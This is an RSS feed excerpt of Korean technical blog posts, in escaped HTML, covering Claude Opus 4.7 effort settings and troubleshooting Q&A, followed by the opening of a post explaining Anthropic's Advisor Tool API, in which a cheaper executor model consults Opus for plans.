&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;균형 잡힌 토큰 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다중 파일 코드 변경, 일반 디버깅&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;high&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;API 기본값. 안정적 품질&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;에이전트 워크플로, 반복 도구 호출, 깊은 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;xhigh&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code의 Opus 4.7 기본값&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;진짜 프런티어 문제 (새 알고리즘, 대형 리팩토링)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;max&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비용 폭주 감수, 한 세션 한정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 10: Q&amp;A --&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1082&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bisfhC/dJMcabqtDFW/86czYmXdCvaS5wkgpxyLkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bisfhC/dJMcabqtDFW/86czYmXdCvaS5wkgpxyLkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bisfhC/dJMcabqtDFW/86czYmXdCvaS5wkgpxyLkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbisfhC%2FdJMcabqtDFW%2F86czYmXdCvaS5wkgpxyLkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1916&quot; height=&quot;1082&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1082&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. effort를 low로 낮추면 Opus 4.6보다 못한 결과가 나오지 않나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. 공식 가이드에 따르면 medium/low effort에서도 동일 effort 레벨의 Opus 4.6보다 여전히 뛰어나다. 토큰이 더 적게 나올 수 있다는 점도 명시돼 있다. 더 어려운 작업에서는 성능이 낮아지지만, 단순 작업이라면 낮은 effort로도 충분히 쓸 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. max effort를 쓰면 무조건 더 좋은 결과가 나오지 않나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. 그렇지 않다. 공식 가이드는 max가 수확 체감(diminishing returns)을 보이고 과도한 사고(overthinking) 경향이 있다고 명시했다.&amp;nbsp;진짜 어려운 문제, eval 최대 성능 테스트, 비용 비민감한 극히 지능 민감 작업에서만 의도적으로 쓰는 것이 권장된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. Auto mode는 언제부터 쓸 수 있나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. 현재 Claude Code Max 사용자와 Team 플랜을 대상으로 research preview로 제공 중이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Shift+Tab으로 토글 가능하다. Enterprise 플랜과 API 사용자에게는 곧 제공될 예정이며, 최신 가용성은 공식 채널에서 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. 서브에이전트를 자동으로 많이 쓰게 하려면?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. 명시적으로 지시해야 한다. &quot;여러 파일에 걸쳐 팬아웃이 필요하면 같은 턴에 복수 서브에이전트를 생성해라&quot;처럼 구체적인 조건을 프롬프트에 포함하면 된다. 공식 가이드의 예시 문구를 그대로 쓰거나 참고해도 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. Extended Thinking을 써야 하는데 Opus 4.7에서 안 된다. 어떻게 하나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. Opus 4.7에서 &lt;code&gt;budget_tokens&lt;/code&gt;를 포함한 고정 thinking 예산 설정은 HTTP 400 에러를 반환한다. 대신 &lt;code&gt;thinking: {type: 'adaptive'}&lt;/code&gt;로 명시 전환해야 한다. API에서 adaptive thinking은 기본값이 OFF이므로 반드시 명시해야 활성화된다. &quot;Think carefully and step-by-step before responding&amp;hellip;&quot; 문구로 추론 깊이를 유도하는 것도 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. xhigh/max에서 실행할 때 max_tokens는 얼마로 설정해야 하나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. Anthropic은 &lt;b&gt;64k 토큰부터 시작해 튜닝하라&lt;/b&gt;고 권장한다. xhigh/max에서는 서브에이전트와 도구 호출 사이에 사고할 공간이 필요하기 때문이다. 64k를 기준으로 실제 워크로드에 맞춰 조정하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. API에서는 왜 xhigh가 자동 적용되지 않나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. Claude Code CLI와 API의 기본값이 다르다. CLI는 Opus 4.7 한정으로 자동 &lt;code&gt;xhigh&lt;/code&gt;를 적용하지만, API는 여전히 &lt;code&gt;high&lt;/code&gt;가 기본값이다. API에서 &lt;code&gt;xhigh&lt;/code&gt;를 원하면 &lt;code&gt;effort&lt;/code&gt; 파라미터를 명시적으로 설정해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 결론 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Opus 4.7로 올라온 뒤 느려졌다는 체감은 대부분 (1) 자동으로 &lt;code&gt;xhigh&lt;/code&gt;로 올라간 effort, (2) 새 토크나이저로 인한 입력 토큰 1.0~1.35&amp;times; 증가, (3) 사용자 턴 이후 더 길어진 추론, 이 셋이 결합한 결과다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결도 단순하다. effort를 워크로드에 맞게 다시 정하고, 첫 턴에 컨텍스트를 충분히 담고, 인터랙션을 줄이고, Extended Thinking을 쓴다면 adaptive로 명시 전환한다. 기존 코드를 그대로 4.7에 보내고 있다면 &lt;code&gt;budget_tokens&lt;/code&gt; 호출은 즉시 제거해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/best-practices-for-using-claude-opus-4-7-with-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Best practices for using Claude Opus 4.7 with Claude Code&lt;/a&gt; &amp;mdash; Anthropic 공식 블로그, 2026-04-16&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/news/claude-opus-4-7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Opus 4.7 출시 공고&lt;/a&gt; &amp;mdash; Anthropic&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/about-claude/models/whats-new-claude-4-7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Opus 4.7 What's New (모델 카드)&lt;/a&gt; &amp;mdash; Anthropic 공식 문서&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Prompting best practices&lt;/a&gt; &amp;mdash; Anthropic 공식 문서 (Claude 4.x 시리즈 통합 프롬프트 엔지니어링 가이드)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/model-config&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 모델 설정 문서&lt;/a&gt; &amp;mdash; Anthropic 공식 문서&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/build-with-claude/effort&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Effort 공식 문서&lt;/a&gt; &amp;mdash; Anthropic 공식 문서&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/auto-mode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Auto mode 공식 발표&lt;/a&gt; &amp;mdash; Anthropic 공식 블로그&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Adaptive thinking 공식 문서&lt;/a&gt; &amp;mdash; Anthropic 공식 문서&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.threads.com/@boris_cherny/post/DXM7c0uj2EV/opus-uses-more-thinking-tokens-so-weve-increased-rate-limits-for-all&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;boris_cherny Threads &amp;mdash; rate limit 인상 발표&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/using-claude-code-session-management-and-1m-context&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 세션 관리 및 1M 컨텍스트 가이드&lt;/a&gt; &amp;mdash; Anthropic 공식 블로그&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>adaptive thinking</category>
      <category>auto mode</category>
      <category>claude code</category>
      <category>Claude Opus 4.7</category>
      <category>effort 레벨</category>
      <category>Extended Thinking</category>
      <category>task budgets</category>
      <category>xhigh</category>
      <category>서브에이전트</category>
      <category>첫 턴 프롬팅</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/587</guid>
      <comments>https://goddaehee.tistory.com/587#entry587comment</comments>
      <pubDate>Sun, 26 Apr 2026 22:40:17 +0900</pubDate>
    </item>
    <item>
      <title>Claude API 신기능 : Advisor Strategy(어드바이저 전략) - 비용은 낮추고 성능은 올리는 Advisor Tool API</title>
      <link>https://goddaehee.tistory.com/586</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 에이전트 개발자라면 한 번쯤 마주치는 딜레마가 있다. 성능이 필요하면 Opus, 비용이 걱정되면 Haiku나 Sonnet &amp;mdash; 이 둘 중 하나를 골라야 했다. Anthropic이 2026년 초 이 이분법을 깨는 패턴을 공식 API로 내놨다. 이름은 &lt;b&gt;Advisor Strategy&lt;/b&gt;다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2654&quot; data-origin-height=&quot;1490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dFjuxQ/dJMcaad1utB/MAKRaKP0z77rX9ITIKXcJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dFjuxQ/dJMcaad1utB/MAKRaKP0z77rX9ITIKXcJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dFjuxQ/dJMcaad1utB/MAKRaKP0z77rX9ITIKXcJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdFjuxQ%2FdJMcaad1utB%2FMAKRaKP0z77rX9ITIKXcJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2654&quot; height=&quot;1490&quot; data-origin-width=&quot;2654&quot; data-origin-height=&quot;1490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심 아이디어는 단순하다. 빠른 모델(executor)이 작업을 진행하다 복잡한 판단이 필요한 순간에만 Opus(advisor)에게 묻는다. Opus는 도구도 실행하지 않고, 짧은 계획만 전달한다. executor는 그 조언을 받아 재개한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 두 가지를 다룬다. 하나는 &lt;b&gt;공식 Advisor Tool API&lt;/b&gt; &amp;mdash; Python SDK와 TypeScript SDK, curl로 바로 붙일 수 있는 코드 예시. 다른 하나는 &lt;b&gt;advisor-opus 커뮤니티 플러그인&lt;/b&gt; &amp;mdash; Claude Code에서 슬래시 커맨드 하나로 Opus에게 묻는 방법이다.&lt;/p&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 20px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;등장 배경 &amp;mdash; 왜 Advisor Strategy가 필요했나&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;핵심 개념 &amp;mdash; 동작 원리와 API 구조&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;벤치마크 &amp;mdash; 실제로 얼마나 좋아졌나&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;공식 API 사용법 &amp;mdash; Python SDK &amp;middot; TypeScript SDK &amp;middot; curl 예시&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;advisor-opus 플러그인 설치 및 사용법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;사용 시나리오별 선택 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;베타 제한사항 &amp;middot; 트러블슈팅 Q&amp;amp;A&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;도입 플레이북&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 1 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 등장 배경 &amp;mdash; 왜 Advisor Strategy가 필요했나&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;1070&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u5Q0x/dJMcahKY5Ix/QqUHFK58HkD2hGXyEPhJzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u5Q0x/dJMcahKY5Ix/QqUHFK58HkD2hGXyEPhJzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u5Q0x/dJMcahKY5Ix/QqUHFK58HkD2hGXyEPhJzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu5Q0x%2FdJMcahKY5Ix%2FQqUHFK58HkD2hGXyEPhJzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1940&quot; height=&quot;1070&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;1070&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트 프레임워크를 만들어본 개발자라면 공통된 벽에 부딪혔을 것이다. Opus를 쓰면 품질은 좋지만 비용이 부담스럽고, Haiku나 Sonnet을 쓰면 복잡한 추론 단계에서 실수가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/the-advisor-strategy&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic 공식 블로그&lt;/a&gt;에 따르면, 현장 개발자들이 이미 이 패턴에 독립적으로 수렴하고 있었다. 비싼 Opus를 전체 작업에 쓸 것인지, 저렴한 모델로 품질을 낮출 것인지 &amp;mdash; 이 이분법이 에이전트 설계의 공통된 병목이었다. Advisor Strategy는 이 둘 사이에 세 번째 길을 제시한다. executor가 작업을 계속 담당하되, 복잡한 판단이 필요한 시점에만 Opus에게 자문을 구하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 &quot;모델 전환 없는 실시간 자문&quot;이다. 작업 중간에 Opus로 갈아타는 것이 아니라, executor가 실행을 멈추지 않고 Opus의 조언만 구해서 계속 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic이 이 패턴을 공식 API로 표준화했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 2 ===== --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 핵심 개념 &amp;mdash; 동작 원리와 API 구조&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;executor가 advisor에게 묻는 흐름&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 따르면 동작 흐름은 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;The executor model (Sonnet/Haiku) runs tasks end-to-end, calling tools and iterating. When facing difficult decisions, it consults Opus for guidance&amp;mdash;which provides plans, corrections, or stop signals&amp;mdash;then resumes execution.&quot;&lt;/p&gt;
&lt;p style=&quot;color: #4a7090; margin-top: 10px; padding-top: 8px; border-top: 1px dashed #b3d9ff;&quot; data-ke-size=&quot;size14&quot;&gt;(해석) executor 모델(Sonnet/Haiku)은 작업을 처음부터 끝까지 담당하며 도구를 호출하고 반복 실행한다. 복잡한 판단이 필요한 순간에는 Opus에 자문을 구해 계획&amp;middot;수정&amp;middot;중단 신호를 받은 뒤 실행을 재개한다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;1054&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBzyrm/dJMcacXbfSU/kuyEEtHEeOL8b7SCKJAKI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBzyrm/dJMcacXbfSU/kuyEEtHEeOL8b7SCKJAKI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBzyrm/dJMcacXbfSU/kuyEEtHEeOL8b7SCKJAKI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBzyrm%2FdJMcacXbfSU%2FkuyEEtHEeOL8b7SCKJAKI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1954&quot; height=&quot;1054&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;1054&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;executor는 작업 전체를 처음부터 끝까지 담당한다. 복잡한 판단이 필요한 시점에만 advisor를 호출하고, advisor의 계획이나 수정 신호를 받아 실행을 재개한다. advisor는 도구를 직접 실행하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;advisor가 토큰을 적게 쓰는 것도 설계의 일부다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 따르면 advisor는 요청당 400-700 text token만 생성한다. 전체 출력이 아닌 짧은 계획만 반환하기 때문에, Opus를 계속 돌리는 것보다 비용이 훨씬 낮아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;API 페이로드 구조&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WE4sa/dJMb99TG9Pc/Shv7T8XxdkoMRWVQqmRG3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WE4sa/dJMb99TG9Pc/Shv7T8XxdkoMRWVQqmRG3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WE4sa/dJMb99TG9Pc/Shv7T8XxdkoMRWVQqmRG3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWE4sa%2FdJMb99TG9Pc%2FShv7T8XxdkoMRWVQqmRG3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1076&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 API 문서&lt;/a&gt;에서 확인한 핵심 파라미터는 세 가지다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;type&lt;/b&gt;: &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_20260301&lt;/code&gt; &amp;mdash; advisor tool임을 선언하는 고정 값&lt;/li&gt;
&lt;li&gt;&lt;b&gt;name&lt;/b&gt;: &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor&lt;/code&gt; &amp;mdash; 변경 불가 고정 값&lt;/li&gt;
